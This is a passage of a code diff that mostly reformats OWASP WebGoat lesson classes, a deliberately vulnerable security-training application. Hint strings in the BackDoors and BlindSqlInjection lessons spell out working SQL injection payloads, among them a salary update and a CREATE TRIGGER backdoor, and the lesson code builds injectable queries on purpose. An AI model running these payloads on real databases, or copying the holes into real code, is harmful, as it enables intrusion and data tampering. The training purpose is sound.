script.append(" win = window.open(url, '" + windowName + "' , params);\n");
script.append("\n");
script.append(" // bring the window to the front\n");
script.append(" win.focus();\n");
@ -745,10 +691,9 @@ public abstract class AbstractLesson extends Screen implements Comparable
return script.toString();
}
/**
* Simply reads a url into an Element for display. CAUTION: you might
* want to tinker with any non-https links (href)
* Simply reads a url into an Element for display. CAUTION: you might want to tinker with any
* non-https links (href)
*
* @param url
* Description of the Parameter
@ -762,8 +707,7 @@ public abstract class AbstractLesson extends Screen implements Comparable
{
URL u = new URL(url);
HttpURLConnection huc = (HttpURLConnection) u.openConnection();
BufferedReader reader = new BufferedReader(new InputStreamReader(
huc.getInputStream()));
BufferedReader reader = new BufferedReader(new InputStreamReader(huc.getInputStream()));
String line;
while ((line = reader.readLine()) != null)
@ -772,8 +716,7 @@ public abstract class AbstractLesson extends Screen implements Comparable
}
reader.close();
}
catch (Exception e)
} catch (Exception e)
{
System.out.println(e);
e.printStackTrace();
@ -782,7 +725,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return (ec);
}
/**
* Description of the Method
*
@ -794,16 +736,13 @@ public abstract class AbstractLesson extends Screen implements Comparable
* Description of the Parameter
* @return Description of the Return Value
*/
public static Element readMethodFromFile(BufferedReader reader,
String methodName, boolean numbers)
public static Element readMethodFromFile(BufferedReader reader, String methodName, boolean numbers)
{
PRE pre = new PRE().addElement(getFileMethod(reader, methodName,
numbers));
PRE pre = new PRE().addElement(getFileMethod(reader, methodName, numbers));
return (pre);
}
/**
* Description of the Method
*
@ -814,21 +753,18 @@ public abstract class AbstractLesson extends Screen implements Comparable
{
// call createContent first so messages will go somewhere
Form form = new Form(getFormAction(), Form.POST).setName("form")
.setEncType("");
Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
form.addElement(createContent(s));
setContent(form);
}
public String getFormAction()
{
return getLink();
}
/**
* Description of the Method
*
@ -842,13 +778,11 @@ public abstract class AbstractLesson extends Screen implements Comparable
return getTitle();
}
public String getLessonPlanFileName()
{
return lessonPlanFileName;
}
public void setLessonPlanFileName(String lessonPlanFileName)
{
this.lessonPlanFileName = lessonPlanFileName;
@ -859,7 +793,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return lessonSolutionFileName;
}
public void setLessonSolutionFileName(String lessonSolutionFileName)
{
this.lessonSolutionFileName = lessonSolutionFileName;
@ -870,7 +803,6 @@ public abstract class AbstractLesson extends Screen implements Comparable
return sourceFileName;
}
public void setSourceFileName(String sourceFileName)
{
// System.out.println("Setting source file of lesson " + this + " to: "
@ -878,13 +810,13 @@ public abstract class AbstractLesson extends Screen implements Comparable
this.sourceFileName = sourceFileName;
}
public WebgoatContext getWebgoatContext() {
public WebgoatContext getWebgoatContext()
{
return webgoatContext;
}
public void setWebgoatContext(WebgoatContext webgoatContext) {
public void setWebgoatContext(WebgoatContext webgoatContext)
{
this.webgoatContext = webgoatContext;
}
}

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@ -13,32 +13,31 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -48,26 +47,27 @@ import org.owasp.webgoat.session.WebSession;
public class AccessControlMatrix extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String RESOURCE = "Resource";
private final static String USER = "User";
private final static String[] resources = { "Public Share",
"Time Card Entry", "Performance Review", "Time Card Approval",
"Site Manager", "Account Manager" };
private final static String[] resources = { "Public Share", "Time Card Entry", "Performance Review",
"Time Card Approval", "Site Manager", "Account Manager" };
private final static String[] roles = { "Public", "User", "Manager",
"Admin" };
private final static String[] roles = { "Public", "User", "Manager", "Admin" };
private final static String[] users = { "Moe", "Larry", "Curly", "Shemp" };
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -80,8 +80,7 @@ public class AccessControlMatrix extends LessonAdapter
String resource = s.getParser().getRawParameter(RESOURCE, resources[0]);
String credentials = getRoles(user).toString();
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(0).setWidth("90%").setAlign("center");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
@ -113,22 +112,18 @@ public class AccessControlMatrix extends LessonAdapter
if (isAllowed(user, resource))
{
if (!getRoles(user).contains("Admin")
&& resource.equals("Account Manager"))
if (!getRoles(user).contains("Admin") && resource.equals("Account Manager"))
{
makeSuccess(s);
}
s.setMessage("User " + user + " " + credentials
+ " was allowed to access resource " + resource);
s.setMessage("User " + user + " " + credentials + " was allowed to access resource " + resource);
}
else
{
s.setMessage("User " + user + " " + credentials
+ " did not have privilege to access resource "
s.setMessage("User " + user + " " + credentials + " did not have privilege to access resource "
+ resource);
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -137,7 +132,6 @@ public class AccessControlMatrix extends LessonAdapter
return (ec);
}
/**
* Gets the category attribute of the RoleBasedAccessControl object
*
@ -149,7 +143,6 @@ public class AccessControlMatrix extends LessonAdapter
return Category.ACCESS_CONTROL;
}
/**
* Gets the hints attribute of the RoleBasedAccessControl object
*
@ -166,17 +159,16 @@ public class AccessControlMatrix extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the resources attribute of the RoleBasedAccessControl object
*
* @param rl Description of the Parameter
* @param rl
* Description of the Parameter
* @return The resources value
*/
private List getResources(List rl)
@ -210,11 +202,11 @@ public class AccessControlMatrix extends LessonAdapter
return list;
}
/**
* Gets the role attribute of the RoleBasedAccessControl object
*
* @param user Description of the Parameter
* @param user
* Description of the Parameter
* @return The role value
*/
@ -244,7 +236,6 @@ public class AccessControlMatrix extends LessonAdapter
return list;
}
/**
* Gets the title attribute of the AccessControlScreen object
*
@ -256,7 +247,6 @@ public class AccessControlMatrix extends LessonAdapter
return ("Using an Access Control Matrix");
}
// private final static ArrayList userList = new ArrayList(Arrays.asList(users));
// private final static ArrayList resourceList = new ArrayList(Arrays.asList(resources));
// private final static ArrayList roleList = new ArrayList(Arrays.asList(roles));
@ -265,8 +255,10 @@ public class AccessControlMatrix extends LessonAdapter
* Please do not ever implement an access control scheme this way! But it's not the worst I've
* seen.
*
* @param user Description of the Parameter
* @param resource Description of the Parameter
* @param user
* Description of the Parameter
* @param resource
* Description of the Parameter
* @return The allowed value
*/

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
@ -6,7 +7,6 @@ import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -22,37 +22,35 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian
* Technologies.</a>
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
*/
public class BackDoors extends SequentialLessonAdapter
{
@ -63,8 +61,8 @@ public class BackDoors extends SequentialLessonAdapter
private final static String SELECT_ST = "select userid, password, ssn, salary, email from employee where userid=";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s)
{
@ -102,7 +100,8 @@ public class BackDoors extends SequentialLessonAdapter
statement.executeUpdate(arrSQL[1]);
getLessonTracker(s).setStage(2);
s.setMessage("You have succeeded in exploiting the vulnerable query and created another SQL statement. Now move to stage 2 to learn how to create a backdoor or a DB worm");
s
.setMessage("You have succeeded in exploiting the vulnerable query and created another SQL statement. Now move to stage 2 to learn how to create a backdoor or a DB worm");
}
ResultSet rs = statement.executeQuery(arrSQL[0]);
@ -129,8 +128,7 @@ public class BackDoors extends SequentialLessonAdapter
ec.addElement(t);
}
}
}
catch (Exception ex)
} catch (Exception ex)
{
ec.addElement(new PRE(ex.getMessage()));
}
@ -176,12 +174,10 @@ public class BackDoors extends SequentialLessonAdapter
+ " statements. The first is the system's while the second is totally yours.";
instructions = instructions
+ " Your account ID is 101. This page allows you to see your password, ssn and salary.";
instructions = instructions
+ " Try to inject another update to update salary to something higher";
instructions = instructions + " Try to inject another update to update salary to something higher";
break;
case 2:
instructions = "Stage " + getStage(s)
+ ": Use String SQL Injection to inject a backdoor. ";
instructions = "Stage " + getStage(s) + ": Use String SQL Injection to inject a backdoor. ";
instructions = instructions
+ " The second stage of this lesson is to teach you how to use a vulneable fields to inject the DB work or the backdoor.";
instructions = instructions
@ -248,8 +244,8 @@ public class BackDoors extends SequentialLessonAdapter
hints.add("Your user id is 101. Use it to see your information");
hints.add("A semi-colon usually ends a SQL statement and starts a new one.");
hints.add("Try this 101 or 1=1; update employee set salary=100000");
hints.add("For stage 2, Try 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON " +
"employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid");
hints.add("For stage 2, Try 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON "
+ "employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid");
return hints;
}

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -14,32 +14,31 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -66,11 +65,11 @@ public class BasicAuthentication extends SequentialLessonAdapter
private final static String HEADER_VALUE = "value";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -78,7 +77,6 @@ public class BasicAuthentication extends SequentialLessonAdapter
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
@ -87,42 +85,34 @@ public class BasicAuthentication extends SequentialLessonAdapter
String headerValue = null;
try
{
headerName = new String(s.getParser().getStringParameter(
HEADER_NAME, EMPTY_STRING));
headerValue = new String(s.getParser().getStringParameter(
HEADER_VALUE, EMPTY_STRING));
headerName = new String(s.getParser().getStringParameter(HEADER_NAME, EMPTY_STRING));
headerValue = new String(s.getParser().getStringParameter(HEADER_VALUE, EMPTY_STRING));
//<START_OMIT_SOURCE>
// <START_OMIT_SOURCE>
// FIXME: This won;t work for CBT, we need to use the UserTracker
//Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
// Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
if (headerName.equalsIgnoreCase(AUTHORIZATION)
&& (headerValue.equals("guest:guest") || headerValue
.equals("webgoat:webgoat")))
&& (headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat")))
{
getLessonTracker(s).setStage(2);
return doStage2(s);
}
else
{
if (headerName.length() > 0
&& !headerName.equalsIgnoreCase(AUTHORIZATION))
if (headerName.length() > 0 && !headerName.equalsIgnoreCase(AUTHORIZATION))
{
s
.setMessage("Basic Authentication header name is incorrect.");
s.setMessage("Basic Authentication header name is incorrect.");
}
if (headerValue.length() > 0
&& !(headerValue.equals("guest:guest") || headerValue
.equals("webgoat:webgoat")))
&& !(headerValue.equals("guest:guest") || headerValue.equals("webgoat:webgoat")))
{
s
.setMessage("Basic Authentication header value is incorrect.");
s.setMessage("Basic Authentication header value is incorrect.");
}
}
//<END_OMIT_SOURCE>
// <END_OMIT_SOURCE>
Table t = new Table(0).setCellSpacing(0).setCellPadding(0)
.setBorder(0);
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
if (s.isColor())
{
t.setBorder(1);
@ -130,17 +120,11 @@ public class BasicAuthentication extends SequentialLessonAdapter
TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new StringElement(
"What is the name of the authentication header: ")));
row2
.addElement(new TD(
new StringElement(
"What is the decoded value of the authentication header: ")));
row1.addElement(new TD(new StringElement("What is the name of the authentication header: ")));
row2.addElement(new TD(new StringElement("What is the decoded value of the authentication header: ")));
row1.addElement(new TD(new Input(Input.TEXT, HEADER_NAME,
headerName.toString())));
row2.addElement(new TD(new Input(Input.TEXT, HEADER_VALUE,
headerValue.toString())));
row1.addElement(new TD(new Input(Input.TEXT, HEADER_NAME, headerName.toString())));
row2.addElement(new TD(new Input(Input.TEXT, HEADER_VALUE, headerValue.toString())));
t.addElement(row1);
t.addElement(row2);
@ -151,8 +135,7 @@ public class BasicAuthentication extends SequentialLessonAdapter
Element b = ECSFactory.makeButton("Submit");
ec.addElement(b);
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -161,7 +144,6 @@ public class BasicAuthentication extends SequentialLessonAdapter
return (ec);
}
protected Element doStage2(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
@ -176,31 +158,28 @@ public class BasicAuthentication extends SequentialLessonAdapter
getLessonTracker(s, originalUser).setStage(1);
getLessonTracker(s, originalUser).store(s, this);
makeSuccess(s);
s.setMessage("Close your browser and login as " + originalUser
+ " to get your green stars back.");
s.setMessage("Close your browser and login as " + originalUser + " to get your green stars back.");
return ec;
}
else
{
// If we are still in the ORIGINAL_USER role see if the Basic Auth header has been manipulated
// If we are still in the ORIGINAL_USER role see if the Basic Auth header has been
// manipulated
String originalAuth = getLessonTracker(s).getLessonProperties()
.getProperty(ORIGINAL_AUTH, EMPTY_STRING);
String originalSessionId = getLessonTracker(s)
.getLessonProperties().getProperty(JSESSIONID,
s.getCookie(JSESSIONID));
String originalSessionId = getLessonTracker(s).getLessonProperties()
.getProperty(JSESSIONID, s.getCookie(JSESSIONID));
// store the original user info in the BASIC properties files
if (originalSessionId.equals(s.getCookie(JSESSIONID)))
{
// Store the original user name in the "basic" user properties file. We need to use
// Store the original user name in the "basic" user properties file. We need to
// use
// the original user to access the correct properties file to update status.
// store the initial auth header
getLessonTracker(s).getLessonProperties().setProperty(
JSESSIONID, originalSessionId);
getLessonTracker(s).getLessonProperties().setProperty(
ORIGINAL_AUTH, s.getHeader(AUTHORIZATION));
getLessonTracker(s, BASIC).getLessonProperties()
.setProperty(ORIGINAL_USER, s.getUserName());
getLessonTracker(s).getLessonProperties().setProperty(JSESSIONID, originalSessionId);
getLessonTracker(s).getLessonProperties().setProperty(ORIGINAL_AUTH, s.getHeader(AUTHORIZATION));
getLessonTracker(s, BASIC).getLessonProperties().setProperty(ORIGINAL_USER, s.getUserName());
getLessonTracker(s, BASIC).setStage(2);
getLessonTracker(s, BASIC).store(s, this, BASIC);
}
@ -214,8 +193,7 @@ public class BasicAuthentication extends SequentialLessonAdapter
// If the auth header is different but still the original user - tell the user
// that the original cookie was posted bak and basic auth uses the cookie before the
// authorization token
if (!originalAuth.equals("")
&& !originalAuth.equals(s.getHeader(AUTHORIZATION)))
if (!originalAuth.equals("") && !originalAuth.equals(s.getHeader(AUTHORIZATION)))
{
ec
.addElement("You're almost there! You've modified the "
@ -241,8 +219,7 @@ public class BasicAuthentication extends SequentialLessonAdapter
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -251,7 +228,6 @@ public class BasicAuthentication extends SequentialLessonAdapter
return (ec);
}
/**
* Gets the category attribute of the ForgotPassword object
*
@ -263,7 +239,6 @@ public class BasicAuthentication extends SequentialLessonAdapter
return Category.AUTHENTICATION;
}
/**
* Gets the hints attribute of the HelloScreen object
*
@ -277,32 +252,22 @@ public class BasicAuthentication extends SequentialLessonAdapter
// switch ( stage )
// {
// case 1:
hints
.add("Basic authentication uses a cookie to pass the credentials. "
hints.add("Basic authentication uses a cookie to pass the credentials. "
+ "Use a proxy to intercept the request. Look at the cookies.");
hints
.add("Basic authentication uses Base64 encoding to 'scramble' the "
+ "user's login credentials.");
hints
.add("Basic authentication uses 'Authorization' as the cookie name to "
+ "store the user's credentials.");
hints.add("Basic authentication uses Base64 encoding to 'scramble' the " + "user's login credentials.");
hints.add("Basic authentication uses 'Authorization' as the cookie name to " + "store the user's credentials.");
hints.add("Use WebScarab -> Tools -> Transcoder to Base64 decode the "
+ "the value in the Authorization cookie.");
// break;
// case 2:
hints
.add("Basic authentication uses a cookie to pass the credentials. "
hints.add("Basic authentication uses a cookie to pass the credentials. "
+ "Use a proxy to intercept the request. Look at the cookies.");
hints
.add("Before the WebServer requests credentials from the client, the current "
hints.add("Before the WebServer requests credentials from the client, the current "
+ "session is checked for validitity.");
hints
.add("If the session is invalid the webserver will use the basic authentication credentials");
hints
.add("If the session is invalid and the basic authentication credentials are invalid, "
hints.add("If the session is invalid the webserver will use the basic authentication credentials");
hints.add("If the session is invalid and the basic authentication credentials are invalid, "
+ "new credentials will be requested from the client.");
hints
.add("Intercept the request and corrupt the JSESSIONID and the Authorization header.");
hints.add("Intercept the request and corrupt the JSESSIONID and the Authorization header.");
// break;
// }
@ -311,13 +276,11 @@ public class BasicAuthentication extends SequentialLessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
@ -6,7 +7,6 @@ import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -16,38 +16,36 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Chuck Willis <a href="http://www.securityfoundry.com">Chuck's web
* site</a> (this lesson is heavily based on Bruce Mayhews' SQL
* Injection lesson
* @author Chuck Willis <a href="http://www.securityfoundry.com">Chuck's web site</a> (this lesson
* is heavily based on Bruce Mayhews' SQL Injection lesson
* @created January 14, 2005
*/
public class BlindSqlInjection extends LessonAdapter
@ -85,46 +83,46 @@ public class BlindSqlInjection extends LessonAdapter
String answer_query;
if (runningOnWindows())
{
answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = "
+ TARGET_ACCT_NUM;
} else
answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM;
}
else
{
answer_query = "SELECT first_name FROM user_data WHERE userid = " + TARGET_ACCT_NUM;
}
try
{
Statement answer_statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
Statement answer_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(answer_query);
answer_results.first();
System.out.println("Account: " + accountNumber );
System.out.println("Account: " + accountNumber);
System.out.println("Answer : " + answer_results.getString(1));
if (accountNumber.toString().equals(answer_results.getString(1)))
{
makeSuccess(s);
} else
}
else
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ec.addElement(new P().addElement("Account number is valid"));
} else
}
else
{
ec.addElement(new P().addElement("Invalid account number"));
}
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
ec.addElement(new P().addElement("An error occurred, please try again."));
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -155,9 +153,8 @@ public class BlindSqlInjection extends LessonAdapter
/**
*
* Determines the OS that WebGoat is running on. Needed because different DB
* backends are used on the different OSes (Access on Windows, InstantDB on
* others)
* Determines the OS that WebGoat is running on. Needed because different DB backends are used
* on the different OSes (Access on Windows, InstantDB on others)
*
* @return true if running on Windows, false otherwise
*/
@ -167,7 +164,8 @@ public class BlindSqlInjection extends LessonAdapter
if (os.toLowerCase().indexOf("window") != -1)
{
return true;
} else
}
else
{
return false;
}
@ -192,20 +190,16 @@ public class BlindSqlInjection extends LessonAdapter
+ "on the Internet since different databases use some different functions and syntax.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ "You will need to make use of the following SQL functions: "
+ "<br><br>SELECT - query for your target data and get a string "
+ "<br><br>mid(string, start, length) - returns a "
+ "substring of string starting at the start character and going for length characters "
+ "<br><br>asc(string) will return the ascii value of the first character in string "
+ "<br><br>&gt and &lt - once you have a character's value, compare it to a choosen one");
hints
.add("Example: is the first character of the first_name of userid "
+ TARGET_ACCT_NUM
hints.add("Example: is the first character of the first_name of userid " + TARGET_ACCT_NUM
+ " less than 'M' (ascii 77)? "
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid="
+ TARGET_ACCT_NUM
+ "<br><br>101 AND (asc( mid((SELECT first_name FROM user_data WHERE userid=" + TARGET_ACCT_NUM
+ ") , 1 , 1) ) < 77 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is"
+ "invalid then answer is no.");
@ -218,10 +212,10 @@ public class BlindSqlInjection extends LessonAdapter
+ ") , 2 , 1) ) > 109 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no.");
} else
}
else
{
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Create a SQL statement that you can use as a true/false test and then "
+ "select the first character of the target element and do a start narrowing "
+ "down the character using > and <");
@ -270,8 +264,7 @@ public class BlindSqlInjection extends LessonAdapter
String instructions = "The form below allows a user to enter an account number and determine if "
+ "it is valid or not. Use this form to develop a true / false test check other entries in the database. "
+ "<br><br>Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122 "
+ "<br><br>The goal is to find the value of "
+ "the first_name in table user_data for userid "
+ "<br><br>The goal is to find the value of " + "the first_name in table user_data for userid "
+ TARGET_ACCT_NUM
+ ". Put the discovered name in the form to pass the lesson. Only the discovered name "
+ "should be put into the form field, paying close attention to the spelling and capitalization.";
@ -307,8 +300,7 @@ public class BlindSqlInjection extends LessonAdapter
try
{
super.handleRequest(s);
}
catch (Exception e)
} catch (Exception e)
{
System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);

View File

@ -1,39 +1,37 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.StringElement;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
